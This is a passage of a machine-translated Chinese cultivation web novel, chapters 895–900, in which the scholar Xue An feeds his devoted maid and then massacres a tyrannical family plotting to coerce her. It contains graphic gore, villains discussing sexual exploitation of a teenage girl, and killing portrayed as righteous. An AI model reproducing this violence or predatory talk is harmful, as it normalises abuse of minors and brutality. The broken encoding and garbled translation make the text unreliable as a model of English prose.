    Xue An shook his head, "Could it be that you don''t even listen to me now?"


    Ye Xiaochan hurriedly shook his head, "No, how could I not listen to the young master, but..."


    "There is nothing, since Master I said that I am going to have a big meal, I will do it naturally, come with me!"


    Xue An said lightly, then raised his head and walked towards the hotel in front.


    Ye Xiaochan looked at Xue An��s back, always feeling that the young master who woke up from a serious illness was a little weird, and even the tone of his speech became... a lot more domineering.


    But the young master is right. I am the young master''s maid. I naturally want to listen to the young master''s words. Even if he really wants to sell me, I will be obedient. The big deal...I will kill myself after the past!


    Hmm, that''s it!


    Ye Xiaochan thought about it wildly, secretly made up his mind, and then followed Xue An at the same pace and walked into the hotel.


    The scale of this hotel is not too big, but the business is very good. The lobby is full of guests.


    The guys shuttled back and forth, serving food and wine, a busy scene.


    "The guest officer wants...." A guy was about to greet him, but when he saw it was Xue An, he swallowed the words behind.


    Now the entire inn, who doesn��t know this unlucky scholar who couldn��t afford to get sick after entering the shop?


    Such a master can''t even pay for the shop, so does he expect anything to eat?


    So this guy turned around and left with some disdain.


    At this moment, Xue An said lightly: "Come to a private seat, and another table of the best banquet you can make!"


    Dude was stunned.


    Did you hear me wrong?


    This poor scholar actually wants the best banquet?


    "you����."


    "Didn''t you hear it? Hurry up and prepare!" Xue An said undoubtedly.


    may have been deterred by Xue An''s aura, this guy only led Xue An to a private seat, and then turned and left.


    But when he was about to go to the back kitchen, he suddenly woke up.


    No, what kind of banquet can such a poor scholar afford?


    If this is really for him, and I can��t pay by that time, wouldn��t the shopkeeper still count on me?


    No, this must be told to the shopkeeper.


    This guy thought to himself, he was about to turn around and leave.


    At this moment, a girl who was wearing a coarse cloth dress, and although her appearance was somewhat ordinary, but very attractive, happened to pass by, and she couldn''t help asking when she saw this guy standing there.


    "what happened?"


    When the guy saw the woman, he said hurriedly: "Sister Yue, that''s what happened. The scholar who couldn''t afford to be sick after he came to our inn suddenly healed, and he brought his maid here to eat something. I��m just going to tell the shopkeeper!��


    The girl''s face was cold when she heard the words, and her brows frowned, "Okay, I''ll go take a look! Don''t disturb my father in advance!"


    "Yes!" The man naturally didn''t dare to say anything.


    Because this girl is the daughter of Yang Zelin, the shopkeeper of this inn, Yang Yue.


    As a young boss, Yang Yue''s attitude towards people is completely different from her father.


    at least not as cool and greedy as her father.


    So this inn goes up and down, all the guys respect it very much.


    Yang Yue came to the elegant seat.


    said it is an elegant seat, but it is actually a space separated by a curtain.


    Yang Yue took a deep breath, and walked in.


    The first thing I saw was Xue An sitting there drinking tea, and Ye Xiaochan standing beside him.


    Seeing Xue An, Yang Yue''s eyes were full of disgust, and she turned her head and shouted softly: "Chan''er!"


    Ye Xiaochan, who was lowering his head thinking about his thoughts, raised his head when he heard this, and when he saw Yang Yue, his face showed a touch of joy.


    "Sister Xiaoyue!"


    Looking at Ye Xiaochan, whose chin was already thin and sharp, Yang Yue felt distressed.


    Yang Yue has always been very sympathetic and pity for this girl who is similar to her own age but has suffered a lot.


    Because Xue An started to get sick just after staying, Ye Xiaochan was the only one who was busy making soup and making medicine.


    If that''s all there is to it.


    But soon, Xue An��s illness consumed all the entanglement.


    But even so, this little maid did not give up, but tried every means to treat his young master.


    Even when she got to the back, she pawned everything she could, so that she couldn''t even afford to eat.


    Yang Yue saw all these situations in her eyes. With sympathy and admiration, she began to secretly help this little maid.


    For example, take the food to Ye Xiaochan''s room while no one is paying attention, or help her buy medicine, etc. For these, Ye Xiaochan is naturally infinitely grateful.


    But soon.


    These things were discovered by Yang Yue��s father, the greedy and stingy treasurer Yang Zelin.


    He flew into a rage and issued a severe order.


    Yang Yue is not allowed to help Ye Xiaochan any more.


    At that time, Yang Yue still didn''t understand.


    is not just a meal, why is his father so angry?


    But her father''s order, she didn''t dare to disobey, she could only watch it all helplessly.


    Immediately afterwards, the shopkeeper Yang Zelin began to target the master and servant everywhere, and completely isolated Ye Xiaochan.


    But Ye Xiaochan persevered stubbornly, and took care of Xue An without sleep.


    All of this, Yang Yue naturally knows.


    So when she heard that Xue An woke up, she was very pleased in her heart and felt happy for Ye Xiaochan.


    But soon, she learned from her father.


    This Xue An, who just woke up, actually made a gambling agreement to settle all the restaurant bills at sunrise tomorrow. If he can��t do it, he will lose this Ye Xiaochan to the inn.


    At that time, Yang Zelin was very proud.


    After hearing these words, Yang Yue felt like she had fallen into an ice cellar, and then she was furious.

 Chapter 896： Outrageous

    In her opinion, this Xue An is purely useless.


    If Ye Xiaochan hadn''t taken care of him, he might have died a long time ago.


    I didn''t expect that this guy would not say sorry for his maid after waking up, but actually regarded his maid as a bet.


    And what kind of bet is this?


    This is purely looking for an excuse to use his maid to pay for the restaurant''s meal!


    Therefore, in Yang Yue''s eyes, Xue An is already an ungrateful, stubborn, white-eyed wolf.


    this moment.


    Yang Yue smiled at Ye Xiaochan, then turned his head, staring at Xue An with contempt.


    "Master Xue, do you have to eat a big meal when you recover from a serious illness?"


    The irony in the words is almost overflowing.


    Xue An didn��t care, he just raised his eyes to look at Yang Yue, and then said lightly: ��Chan��er hasn��t eaten for several days. Since I��m awake, I have to let her eat something well, why? Any comments?��


    "Hehe!" Yang Yue sneered for a while.


    "Young Master Xue is indeed a scholar, what he said is so beautiful! But how do I feel that your meal is like using Chan''er''s money to satisfy your own desires?"


    These words came out.


    Ye Xiaochan turned pale, "Sister Xiaoyue!"


    Yang Yue Aiqi��s misfortune and angrily Chong Ye Xiaochan said: "Sister Chan''er, it''s about this time, what are you still saying for this wolf-hearted guy? I have heard about it. He will be at sunrise tomorrow. Collect twenty taels of silver, or you will be sold out. Is this a bet? This is obviously taking you as a restaurant bill!"


    Ye Xiaochan''s face was as pale as paper, and his whole body was trembling slightly.


    Yang Yue turned her head and stared at Xue An, "Do you know how much this little chan''er has suffered to save you? How much offense has been suffered? For several days and nights, you can''t sleep well, and you can''t even eat. That''s it, she is still taking care of you, but what about you?"


    "When I woke up, I was thinking of selling such a good girl, and praising her to eat something good is really shameless!"


    Looking at Yang Yue who was emotional, Xue An was taken aback for a moment, and then a little bit dumbfounded.


    This girl, obviously misunderstood, that''s why she was filled with indignation.


    But Xue An didn''t bother to explain anything.


    Because when we wait for tomorrow, everything will naturally be clear, so why bother here.


    But Xue An��s silence was regarded as speechless by Yang Yue, and the anger in his heart could not help but grow stronger, and he was about to swear.


    Ye Xiaochan suddenly trembled: "Enough! Sister Xiaoyue, don''t talk about it!"


    Yang Yue was stunned, "Chan''er you..."


    "All of this is voluntary, and I am the young master''s maid, and I will do whatever the young master asks me!"


    When he said this, Ye Xiaochan''s voice was a little choked, but he resisted not crying, and then smiled reluctantly.


    "Sister Xiaoyue, stop scolding the young master, I know he must have his own problems, I don''t blame him!"


    Yang Yue is simply stupid.


    If she can swear, she really wants to point to Xue An��s nose and swear happily.


    Have you seen that, such a good girl, you actually want to sell? Are you still a man?


    Xue An couldn''t help but sigh upon seeing this.


    This little girl really has a kind of distressing kindness.


    At this moment.


    Suddenly there were footsteps outside.


    Then the inn shopkeeper Yang Zelin walked in with the curtain.


    When he saw his daughter Yang Yue, his face sank.


    "What are you doing here?"


    Yang Yue was extremely in awe of her father, and she turned pale when she saw it, "I...I came to ask them what they eat!"


    "Humph!" Yang Zelin snorted coldly, then changed to a smiling face and looked at Xue An.


    "I heard from my buddy that Mr. Xue asked for a table to wait for the banquet. Now the back kitchen is preparing and I will serve it to you in a while! Please don''t worry!"


    Yang Yue was taken aback by her father''s behavior, and then she understood what she was doing and bowed her head in shame.


    She understood why her father was so flattering.


    It must be because of that Young Master Chen who stomped the whole city.


    But precisely because of this, Yang Yue''s heart is full of pain.


    Xue An said noncommittal at this time: "Then this meal cost..."


    "Hehe, Master Xue was joking, and waiting for a banquet on a table is no more than a tael of silver. As long as you can settle twenty taels of silver tomorrow, this banquet will be my treat!" Yang Zelin was very generous.


    Xue An glanced at him with a smile but nodded, "So, thank you, shopkeeper Yang!"


    "Master Xue is polite!"


    At this moment, the guys started to serve dishes in the lounge.


    "Master Xue, please take your time!" Yang Zelin nodded and said with a bow.


    then led his daughter Yang Yue out of the seat.


    Then he straightened his waist and snorted coldly at his daughter, "Dare to talk nonsense again, be careful that I shut you down for a month!"


    "Daughter dare not!"


    "Huh, go!"


    Yang Yue glanced helplessly at the seat, then gritted his teeth, turned and left.


    Yang Zelin stood there, squeezed the small piece of gold in his pocket secretly, and a triumphant smile appeared on the acrimonious face.


    Young Master Chen is still generous.


    He just said that Xue An had bet with Ye Xiaochan, and he was overjoyed and rewarded him with a piece of gold.


    Such a small piece is enough for the inn to spend a month.


    How can Yang Zelin not be pleased with her appearance?


    And as long as you wait until tomorrow to successfully earn Chan''er, you can get Chen Gongzi''s appreciation.


    At that time, I have to follow the inn to fly.


    Compared with these.


    What can be considered a good banquet?


    And the surname Xue has obviously accepted his fate Otherwise, he wouldn''t be so extravagant to have a feast.


    I guess he also knew that his little maid could no longer keep it.


    Hey, eat.


    The more you eat, the deeper you sink.


    The inn shopkeeper thought with a smug face, and then Shi Shiran left.


    at the same time.


    in that elegant seat.


    Xue An sullen his face, "Sit down, just sit down, what are you doing with so much nonsense!"


    "Yes...Yes!" Ye Xiaochan wiped the tears that were still hanging on his face, and then sat down on the chair with great heart.


    "Eat!" Xue An picked up the chopsticks.


    "Oh!" Ye Xiaochan also cleverly picked up his chopsticks.


    At this time, Xue An took a piece and tasted it.


    To tell the truth, the taste is so average, it can''t compare with myself.


    But in this ghost world, too much attention is not enough.


    So Xue An was not too picky, and began to eat.


    But this Ye Xiaochan only dared to carefully clamp the vegetable dish in front of him.


    Xue An glanced at her, then sighed, pulled off a chicken leg and handed it to Ye Xiaochan.

 Chapter 897： Devouring Xianjue

    "Eat meat! How can there be strength without meat?"


    Ye Xiaochan took the chicken legs sluggishly.


    Master really changed.


    The former young master always had a serious face and was very rigid. He never let himself sit down while eating, let alone pick up food for himself.


    Could it be... Master thinks I''m going to be sold, a little guilty?


    When the thought of ���� came out, Ye Xiaochan couldn''t help but feel sad, but didn''t dare to cry in front of Xue An, so he lowered his head and ate the chicken thighs, and the tears dripped to the ground.


    Master, if I leave, you have to take care of yourself!


    Xue An didn''t pay attention to Ye Xiaochan, who was performing a bitter drama in his heart. At this moment, he was madly accumulating strength.


    With every bite of food, he will be instantly digested by his hungry and thirsty stomach and turned into pure energy, changing his body crazily.


    This World''s Tribulation is not the same as the Heart Demon Fantasy Realm.


    is neither true nor false, like illusion.


    Xue An��s original cultivation base could not be used, and Xue An also discovered that there was no trace of aura in this world.


    If the earth before being transformed was a piece of Jedi, then there is complete nothingness here.


    This also fundamentally eliminates the possibility that the cultivator wants to practice again here.


    Even Xue An couldn''t even open the mustard ring and Fubao Xiaolou.


    Fortunately.


    Fu Bao Xiaolou is a world of its own, Yan Er and the two little girls are absolutely safe inside.


    As for this world without aura, it may be a problem for others, but for Xue An, it is not a problem at all.


    Because when Xue An was traveling through the heavens, he once got a book called Zhou Tianxingyu Swallowing Xuanzhen Ancient Immortal Jue.


    This fairy decision is actually not smart at all.


    But it is very unique.


    Because the Daluo monk who left this immortal decision came from a desert world with no aura.


    It is impossible to cultivate through heaven and earth spiritual energy.


    But this monk took a different path, began to transform himself through swallowing, and finally embarked on the road of cultivation.


    And this swallowing, to put it plainly, is crazy eating.


    Then digest all the food eaten into pure energy.


    This replaces the role of Reiki.


    And Xue An also knew that this monk Da Luo had even swallowed an asteroid in one bite at the later stage of his cultivation.


    If it wasn''t because he was too gluttonous, he would eventually explode and die when he tried to swallow a star. Now I don''t know what it looks like.


    This immortal decision may be a wasteful existence in those worlds full of aura.


    can be in this world, but it is extremely suitable.


    I saw Xue An eating big mouthfuls, and this thin body began to grow stronger at a speed visible to the naked eye.


    The pure energy is transforming everything crazy.


    soon.


    When I waited for a banquet at the table, Xue An ate more than half of it.


    This scene also made Ye Xiaochan silly.


    How did my young master become a rice bucket after being sick?


    "What are you looking at, eat quickly!" Xue An said.


    "Oh oh!" Ye Xiaochan didn''t dare to defy, and she was indeed hungry.


    Regardless of whether the young master sells himself or not, he must eat his fill first.


    holding this idea.


    This weak-looking girl ate up half of the rest of the banquet.


    After eating, she couldn''t even squat down, so she could only stand up slowly with her belly.


    "go!"


    Xue An was in front, and Ye Xiaochan followed suit. The master and servant returned to the house.


    And the guys in charge of clearing the dishes and chopsticks came into this room, all a little dumbfounded.


    "My God, this is slowly waiting for a banquet on the table, and it is actually consumed by these two people?"


    "You look at this plate, do you still need to brush it? You can see the figure!"


    These guys exclaimed.


    And after Xue An led Ye Xiaochan back, Ye Xiaochan asked.


    "Master...!"


    "Ok?"


    "What shall we do next?"


    Xue An lay down on the bed, "Satisfying is naturally...sleeping!"


    Ye Xiaochan was stupid.


    Master, you have been in a coma for several days. You just woke up. Why did you sleep again after eating?


    But she just wanted to say something.


    I heard Xue An, who was lying on the bed, snoring slightly, and actually fell asleep.


    Ye Xiaochan felt sour and sad, and the last glimmer of hope was shattered.


    Master, he still wants to sell me!


    Because tomorrow sunrise will take out twenty taels of silver.


    You can see how the young master is sleeping, where can I find the money?


    Thinking of this, Ye Xiaochan''s tears fell down and couldn''t stop it.


    After a while, Ye Xiaochan wiped the tears from his cheeks, and then began to clean up the house lightly.


    In order to treat Xue An''s illness, Ye Xiaochan has pawned all his clothes.


    But none of Xue An''s clothes moved.


    She turned them all over, then took out the needle and thread, and started repairing one by one.


    Ye Xiaochan didn''t let it go whether it was a slight damage or a slight opening.


    Even if there are no damaged clothes, she will reinforce all the easily damaged areas.


    Ye Xiaochan mumbled softly while doing needlework.


    "Master, you have to take care of yourself after Chan''er is gone! Don''t get sick again!"


    "You have to wear these clothes with care. I will put that white boy shirt separately for you and wear it when you get to the capital!"


    "Be sure to remember that wherever your clothes are broken, you can quickly repair them, or they will be tattered and will make people laugh when they enter the capital!"


    Followed Xue An since childhood, and Ye Xiaochan, who had never left for half a step, talked in a whisper.


    often sews She stopped the work in her hand, cried silently for a while, and then started sewing.


    Until all the clothes are sewn, and stacked neatly in the box.


    She lay carefully at Xue An''s feet, curled up together, thinking about her thoughts with tears.


    During Xue An''s illness, she had been caring for her day and night, and she was already exhausted.


    Plus I ate so much today.


    So after a while, she fell asleep.


    I don''t know how long it took, and the sky outside gradually darkened.


    At the moment when a bright moon fell on the treetops, Xue An, lying on the bed, suddenly opened his eyes.


    The dazzling brilliance in the eyes made the whole room like a flash.


    Then Xue An sat up and was about to get out of bed.


    Only then did he realize that Ye Xiaochan had fallen asleep at his feet.


    But when she was asleep, she was clutching the corner of her clothes with one hand.


    looked at the chan''er who was sleeping like a child.


    Xue An couldn''t help but feel a gentleness in his heart.


    In a few years, I will be as big as her if I miss it!


    At this moment, Ye Xiaochan''s body trembled a little, tears fell from the corners of his eyes, and then whispered softly: "Master, don''t sell me!"

 Chapter 898： The moon is bright and the stars are sparse, the clouds stop and the wind stays

    Xue An was taken aback, and then couldn''t help laughing.


    This silly girl, I really thought I would sell her!


    Xue An stretched out his hand and lightly tapped Ye Xiaochan''s forehead.


    The little girl fell into the deepest sleep. It is estimated that at least she would have to sleep until dawn.


    Then Xue An stood up, pushed the door and walked out.


    The moon is bright and the stars are sparse outside, and the wind stops and the clouds stop.


    Because the night is already deep, everything around is silent, as if the whole world is asleep.


    Xue An''s eyes flickered with brilliance, and then he leaped, and the whole person soared into the air silently and disappeared into the vast night.


    This is a small city.


    From the easternmost wall to the westernmost, the straight-line distance is only seven or eight miles long.


    But because it is on a main road leading to the capital, this small city is very prosperous.


    Even though it is dead at night, I can still see the shining lights everywhere in the city.


    Xue An walked in the dark night sky like a stroll in the garden, overlooking the city at his feet.


    at last.


    In the northeast corner of this city, Xue Anton lived in shape.


    is a deep house compound in front of him.


    Xue An narrowed his eyes and looked at the house.


    A moment later, he showed a silent smile, then jumped up and disappeared behind the high wall.


    On the front entrance of this house, the four characters of Chen Jiagong Mansion were engraved impressively.


    If there are people from the city here, they will be dismayed after seeing these four words, and even avoid them for fear.


    Because in this city, the Chen family symbolizes absolute power.


    No one dared to disobey the orders of this family.


    Even a sneeze from the Chen family makes this small town tremble.


    And this Chen family''s behavior has always been domineering, as long as they see things or people, it must belong to them.


    Even a servant of the Chen family at the back will yell five and six when outside, which is extremely arrogant.


    So by now, this city has reached the point of talking about Chen''s discoloration.


    If someone inadvertently provokes, or someone from the Chen family sees something, then the best end is to escape the city as soon as possible, otherwise it is very likely that the person''s body will be seen in the gutter the next day.


    As the eldest son of the Chen family, Chen Jiayu has enjoyed the treatment of a prince in this city since his childhood.


    this moment.


    Xue An came to the outside of the study in the back house and was about to go in. Suddenly, he heard voices coming from inside.


    He was stunned for a moment, then stopped, his whole figure instantly merged with the darkness, and he could perceive everything inside with his extremely keen senses.


    I saw this Chen Jiayu comfortably lying on the armchair, drinking and chatting with a few friends beside him.


    At this time, a kid with half a piece of dog skin ointment stuck on his face said flatteringly: "My son, I heard that you recently fell in love with a foreign girl?"


    This gang of hu-peng-gou friends has no other abilities, but when they talk about women, they are all refreshed.


    I saw a rich young man with several large satin shops in his house and said with beaming eyes: "Oh, you may not know, but I met that little lady with Shao Chen, tusk..."


    "How is it? Don''t tsk!" The other fat man with a pocky face, but who runs a few pawnshops in his home, said impatiently.


    "Hey, is the little red jade of Yuxiufang beautiful?" The satin boy laughed.


    "Of course it''s beautiful! Damn, it cost me a hundred taels of silver to sleep with her last time!" The pockmark said bitterly.


    "Hehe, just like Xiao Hongyu, it''s not worthy of shoes for this little lady!"


    "Fuck, is it so beautiful?" The rich and young people in the room were all shocked.


    "Tsk tsk, in front of Shao Chen, do I dare to speak nonsense? The little lady, tusk, I feel amazing now when I think about it!"


    "Don''t tsk tsk, you just talk about it in detail!"


    "Hey!" This silk satin was rare enough to suffocate everyone''s appetite, before Yinxie said: "I won''t talk about the picturesque eyebrows, but this little lady looks really white, just like a white satin! "


    hiss!


    All the young and old in the audience took a breath.


    The pockmarked eyes were even more excited, "Really?"


    "Of course, and this is not the most important thing. The most important thing is that this little lady is only fourteen or five years old this year. It is the time when the tender can pinch the water!"


    At this time, the eyes of this group of young and old have become extremely silvery, after looking at each other, they all laughed.


    "Hey, Shao Chen, congratulations!"


    "That is, just those pretty girls in our city, we are all tired of having fun, and as a result, a foreign girl came here and she is so beautiful! God is helping us!"


    "Chen Shao, when are you going to start meat? When you take the lead, you will also reward our brother for a taste?"


    These foul language filled the whole room.


    Outside the house.


    Xue An''s eyes grew colder, but did not move, but continued to listen.


    This Chen Jiayu never said a word. Instead, he lay on the Grand Master''s chair for a long time, tapping the armrest with his fingers, and then said lightly: "I didn''t move this time! Because I think that''s too boring!"


    "And this little girl is very stubborn and fierce. If you are strong, you can easily play disability!"


    "So this time I used another method to drive her into desperation a little bit."


    "I want her to surrender to me completely, it will be more interesting!"


    heard these words of Chen Jiayu.


    There was silence in the room.


    Then the sound of flattery emerged like a surge.


    "It''s still the cow that we played with Master Chen!"


    "That''s right, UU reading , we are still at the preliminary stage, but Chen Dashao has already begun to play with people!"


    Listen to these flattering voices.


    Chen Jiayu smiled, very happy.


    He remembered the surprise glance of the other day.


    I was bored at that time, and took a few hands down to play in Yang Zelin''s inn.


    is actually playing, just to see if there are any new items.


    As a result, he ran into Ye Xiaochan who was about to go out to buy medicine.


    Chen Jiayu was stunned.


    It''s not that he has never seen a beautiful woman, but he has never seen such a beautiful woman as Ye Xiaochan.


    After returning to his senses, Chen Jiayu couldn''t help being overjoyed.


    He was worried that he had nothing to do, but after seeing Ye Xiaochan, he immediately decided that he was going to decide on this woman.


    But when he wanted to touch this Ye Xiaochan, he touched his nose.


    Because Ye Xiaochan was very guarded, he ignored all strange men''s strike-ups.


    After several attempts, Chen Jiayu returned to no avail, which made him full of irritation, so he was ready to send someone to rob him directly.


    Coincidentally, at this time, the inn shopkeeper Yang Zelin arrived.


    When this Yang Zelin saw Chen Jiayu''s expression, he understood what was going on.

 Chapter 899： 1 foot trampled to death

    In fact, he had already coveted Ye Xiaochan, but when he saw that Young Master Chen was so concerned, he immediately changed his strategy and began to advise him.


    When I heard that Ye Xiaochan came with a scholar, and the scholar was seriously ill behind his bed.


    Chen Jiayu suddenly stopped worrying.


    Because in his opinion, this Ye Xiaochan is already the prey in the palm of his hand, what he has to do now is to have a good time.


    So he ordered Yang Zelin to suppress and isolate Ye Xiaochan through various means.


    He wanted to push her into desperation through this method, and then let her obediently beg for mercy.


    I didn''t expect this seemingly weak little girl to insist on abruptly.


    And if you insist, it will be ten days.


    Chen Jiayu was a little uncomfortable, and followed Yang Zelin to put pressure on it.


    But at this moment, Xue An woke up unexpectedly.


    And Yang Zelin also brought back good news.


    That is what Xue An wants to use Ye Xiaochan to make a bet.


    After hearing that, Chen Jiayu couldn''t help but laugh three times.


    Isn''t this little maid loyal?


    As soon as her master woke up, the first thing was to sell her.


    In this way, how can she persist?


    And there was a sneer in Chen Jiayu''s heart.


    He didn''t want to let Ye Xiaochan off so simply.


    Aren��t you loyal to your master?


    Wait for tomorrow, I will get you into my hands, and then play with you in front of your master!


    When the time comes, I will see how you will behave.


    Thinking of this, Chen Jiayu trembled slightly with excitement.


    And the gang of boys and girls in the room were even more excited about discussing unsightly topics.


    In Xue An''s perception, these gangs of young and old are all familiar with it. Obviously this is not the first time to do this.


    It can be seen how many women have been brutally attacked by them.


    This made Xue An''s heart murderous.


    A pair of eyes gradually became colder.


    None of these people can stay!


    Xue An thought in his heart, then raised his foot to take a step, and began to walk into the study.


    He, who was perfectly fused with the darkness, showed his aura instantly with this step.


    "Who?" The nursing homes patrolling around the study screamed.


    Xue An didn''t talk nonsense at all, so he raised it casually.


    A few faint sword lights flew out instantly, and directly cut the throats of these people.


    These master guards held their wounds tightly with their hands, staring at Xue An, who was slowly walking out of the darkness, in disbelief, then threw a plop and fell to the ground.


    The blood was winding down the ground.


    dyed the quiet night with a blood of killing.


    Such a huge noise naturally shocked everyone in the study.


    "What''s the matter? What''s wrong outside?"


    "It sounds like someone is coming!"


    These rich and young men and women who are usually domineering, all showed a trace of panic at the moment.


    Only Chen Jiayu remained calm, and then glanced behind him.


    Immediately, two tall men walked to the door.


    These two are both masters invited by Chen Jiayu.


    Therefore, Chen Jiayu didn''t panic at all.


    But at the moment when these two people just walked to the door of the room.


    The door made of hardwood shattered like waste paper.


    Then these two masters, who are known as masters, were knocked out before they even hum.


    After landing, he was bleeding from his seven orifices and was shaken to death.


    This time, the audience was surprised.


    includes Chen Jiayu.


    At this moment, he finally couldn''t keep calm.


    I saw him standing up suddenly, looking at the dark night sky outside the door with a green face, and said in a deep voice: "Who is an expert, why should I be against my Chen family?"


    no respond.


    Chen Jiayu was about to say something.


    heard a slight sigh in the night.


    Then Xue An emerged from the darkness and stepped into the room.


    "What a wonderful night! This kind of night is most suitable for bleeding!" Xue An said lightly.


    The whole audience was silent.


    Then Chen Jiayu''s expression changed wildly, "You...you are!"


    He has recognized Xue An.


    Because when Xue An was unconscious, he had met once.


    But he never thought that this scholar who was dying of illness at the beginning would suddenly appear here, and he would kill.


    Xue An glanced at Chen Jiayu, and smiled slightly, "Let me guess, you should be the son of Chen Jiayu? That is the guy behind the master who wants to be against Chan''er?"


    Chen Jiayu was shocked, and his heart was cold.


    How does he know everything?


    But the dignity of being a son of the Chen family quickly calmed him down, and then calmly said: "Yes, it''s me! I am the son of the Chen family, Xue An, I admit that I missed you, but I didn''t expect you to be one. A peerless master!"


    "Why don''t we just expose this matter, I promise that I won''t provoke your maid again, and you killed my subordinates, I have never happened, how?"


    While talking, Chen Jiayu''s head turned wildly.


    I''ll talk about it after this time.


    As long as he stabilizes him first, then I will immediately mobilize the master, and after catching him, first give this guy a crime of gangster.


    At that time, I will slowly torture that little maid in front of him.


    was thinking bitterly in his heart.


    Xue An laughed, "I guess you must be thinking about how to deal with me afterwards!"


    "I do not����."


    Before the words fell, Xue An snapped a finger.


    A sword light directly cut off Chen Jiayu''s legs.


    Chen Jiayu pounced and fell to the ground.


    At the beginning, he hadn''t reacted, but immediately, he saw the two broken legs standing on the ground.


    He was taken aback for a moment, then let out a stern roar.


    "My legs! Xue An How dare you..."


    Xue An walked forward blankly, stepped on Chen Jiayu''s head, and said lightly: "You are really noisy!"


    Although he was trampled underfoot, Chen Jiayu did not feel humiliated.


    Because he felt a real death threat.


    It was a kind of murderous intention that made him tremble all over.


    So he immediately closed his howling mouth, and then said in an extremely anxious voice: "Xue Gongzi, I know it was wrong, you..."


    The voice did not fall.


    Xue An said lightly: "No need!"


    After that, Xue An stepped on it.


    boom!


    There was a muffled sound.


    The head of Chen Jiayu burst out.


    Brain pulp splashed all over the floor.


    And Chen Jiayu''s body was still twitching unconsciously.


    Such a horrible scene made everyone in the audience pale, and some of the courageous were fighting with their legs, almost fainting.


    Then Xue An slowly pulled his foot out of his brain and rubbed the sole of Chen Jiayu''s body.


    The understatement is like pulling a carrot from the ground.


    Then Xue An looked around the audience and smiled faintly.


    "Good evening, everybody!"

 Chapter 900： Night like the sea

    There was deathly silence in the room.


    These rich and young people who usually live up to the top and take pleasure in torturing others, their identities are reversed at this moment, all are like lambs to be slaughtered, looking at Xue An tremblingly.


    "I heard what you said just now. To be honest, I was surprised at the time, because what you did was breaking through the limits of humanity!"


    "But now it doesn''t matter anymore, because I will let you know that you have to be in awe!"


    Xue An said, and walked forward with a smile.


    "Do not����."


    These rich and young people trembled, all awake, and then uttered deafening screams.


    They understood that this bookish-looking young man was actually a peerless murderer.


    And listening to what he was saying now, it was obvious that he wanted to kill all these people.


    "My son, spare my life! These things have nothing to do with me!"


    "Yes, this is all done by Chen Jiayu, it has nothing to do with us!"


    These people screamed miserably, trying to beg for mercy.


    Xue An was not moved at all, but said indifferently: "These words, go and talk to him below!"


    With that, Xue An raised his hand, and a ray of sword light swept across the room like a dragon.


    Everyone looked dull and froze in place.


    Until a moment later.


    I heard a few muffled noises.


    Then the heads of these wealthy families rose into the sky at the same time, and blood even splashed on the roof.


    Thump thump.


    The dead bodies fell to the ground one after another.


    Except for Xue An, there is no one living in the whole study.


    The ground is even more saturated with blood.


    But Xue An, who was standing in a pool of blood, had no trace of blood on his body.


    He just stood there quietly, like an independent god.


    At this moment, a faint shout came from a distance, and it seemed that someone was rushing here.


    Xue An raised his mouth, revealing a cold smile, then turned and left the study, went to the courtyard, and looked up at the sparse starry sky.


    At this time, the shouts in the distance were getting closer.


    "Don''t let him run!"


    "Quick, close the front and back doors!"


    These shouts spread into the small courtyard.


    Xue An sighed and said lightly: "It''s so boring to kill!"


    At this moment, the door of the small courtyard was slammed open.


    The guardians of the Chen Mansion''s family rushed in one after another, and then they took a breath of air-conditioning at the scene in front of them.


    Because the entire small courtyard has been soaked in blood.


    And a bookish man was standing quietly in the courtyard.


    Xue An looked around the crowd of family members who came in, and smiled slightly, "I killed the people!"


    These people were shocked.


    Then a few leaders of Jiading looked at each other and shouted together: "Rush up and take him down!"


    Because if the murderer who killed the eldest son can''t be caught, all of them in the Dinghuyuan will have to die.


    Therefore, in order to survive, these family nurses all blushed.


    boom!


    These people flocked up.


    Xue An yawned a little boredly, "It''s really boring, it''s better to kill it as soon as possible, and then go back and take a rest!"


    Following his voice, the figures of the family members who rushed to the front became stagnant, and then criss-crossed blood stains appeared on their bodies.


    In an instant, these bloodstains began to burst into blood, and then the bodies of these householders slipped off in pieces.


    The cut is extremely smooth, and the size is actually quite uniform.


    It''s like...a piece of tofu cut with a knife.


    This terrifying scene made the gang behind them terrified.


    "Devil! He is the devil!" someone shouted sternly.


    Xue An shook his head, "No, you are!"


    After all, Xue An stepped forward, and these families began to fall in large-scale movies.


    Someone wanted to turn around and escape, but they didn''t even get out of this small courtyard and became a dead body.


    In an instant, all of these families who rushed to the nursing homes died on the spot.


    Xue An looked around the audience with no sadness or joy, and then stepped on the blood, step by step towards the depths of the Chen family house.


    now.


    Uncle Chen, who was Chen Jiayu''s father, was shivering under the shrine of the Buddhist hall.


    This nearly half a hundred years old, pampered man, at this moment finally felt extremely fearful.


    He didn''t know exactly what happened before.


    But the screams that came from them, as well as the strong **** smell that followed the breeze, were silent proof that a tragic killing was underway.


    Uncle Chen also likes to kill.


    Once because of a little incident, he tortured a young girl in a very cruel way for three days.


    The feeling of life passing by in his own hands made him feel very excited.


    But what he likes to do is a butcher holding a knife, not the fish under the knife.


    Perhaps the more cruel people are, the more fear this is.


    Because they understand what it is like.


    And when the Chen family uncle sent out all the most powerful thugs under his hand, he still went into the sea like a clay cow and never returned.


    He realized the seriousness of the matter.


    In despair, he hid under the shrine of this temple, hoping that the gods and Buddhas would bless him through this level.


    It is also ironic to say that he, who has never believed in ghosts and gods, is praying extremely sincerely at this moment.


    It seems that he felt his prayer.


    The continuous screams suddenly fell silent.


    There is a dead silence between heaven and earth.


    Quietly, he could hear the sound of his blood flowing.


    Uncle Chen family didn''t even dare to breathe, but curled up into a ball with all his strength.


    The shroud of the Buddhist niches gave him a sense of security but at this moment.


    The door of the Buddhist hall suddenly opened with a creak.


    Although the voice was extremely subtle, it sounded like thunder in the ears of the Chen family.


    The hairs all over his body stood up, and his breathing stopped.


    There was no footsteps, as if someone just opened the door and took a look, and then left.


    After waiting for a while, I still didn''t hear anything unusual.


    The uncle Chen family let out a long sigh.


    But at this moment, the uncle Chen suddenly felt that someone outside the Buddhist altar seemed to be looking at him.


    This kind of creepy feeling made his heart jump out. He didn''t dare to make the slightest movement, and could only pray crazy in his heart.


    I beg the gods and Buddhas to protect themselves from being discovered.


    Enough time for a stick of incense.


    Just when the Chen family was about to collapse.


    A faint voice sounded from before the Buddhist altar.


    "I used to think that evil varies according to strength, but now I find that I seem to be wrong! Low-strength people seem to act more unscrupulously than strong ones, especially when they swing their swords at weaker ones. It��s even more so when you��re right, are you right?"


    Uncle Chen''s blood was cold, and he could only groan and said, "Forgive me!"


